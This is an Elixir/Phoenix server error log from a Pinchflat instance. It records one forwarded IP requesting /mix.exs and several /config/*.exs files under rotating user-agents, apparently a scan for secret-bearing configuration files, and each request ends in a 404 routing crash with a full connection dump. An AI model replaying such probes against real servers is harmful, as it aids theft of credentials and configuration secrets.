#PID<0.139004.0>, stream id 5) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /mix.exs ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mix (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mix.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139034.0>, params: %{}, path_info: ["mix"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/mix.exs", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxUohfepRliUAACwn"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mix.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mix (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mix.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139034.0>, params: %{}, path_info: ["mix"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, que (truncated) 04:52:51.518 [error] #PID<0.139037.0> running PinchflatWeb.Endpoint (connection #PID<0.139005.0>, stream id 11) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /config/runtime.exs ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/runtime (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/runtime.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139037.0>, params: %{}, path_info: ["config", "runtime"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/config/runtime.exs", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxUol67Smt24AACxH"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/runtime.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/runtime (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/runtime.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", (truncated) 04:52:51.517 [error] #PID<0.139035.0> running PinchflatWeb.Endpoint (connection #PID<0.139001.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /config/config.exs ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/config.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46194}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139035.0>, params: %{}, path_info: ["config", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/config/config.exs", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxUohkxNUYEgAACvk"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/config.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46194}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/config.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46194}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrad (truncated) 04:52:51.518 [error] #PID<0.139038.0> running PinchflatWeb.Endpoint (connection #PID<0.139002.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /config/prod.exs ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/prod (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139002.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/prod.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46196}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139038.0>, params: %{}, path_info: ["config", "prod"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "pinchflat.ocaff.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/config/prod.exs", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxUop5I0-LVkADZyh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139002.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/prod.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46196}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/prod (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139002.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/prod.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46196}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", (truncated) 04:52:51.517 [error] #PID<0.139036.0> running PinchflatWeb.Endpoint (connection #PID<0.138998.0>, stream id 6) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /config/dev.exs ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/dev.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139036.0>, params: %{}, path_info: ["config", "dev"], path_params: %{}, port: 80, 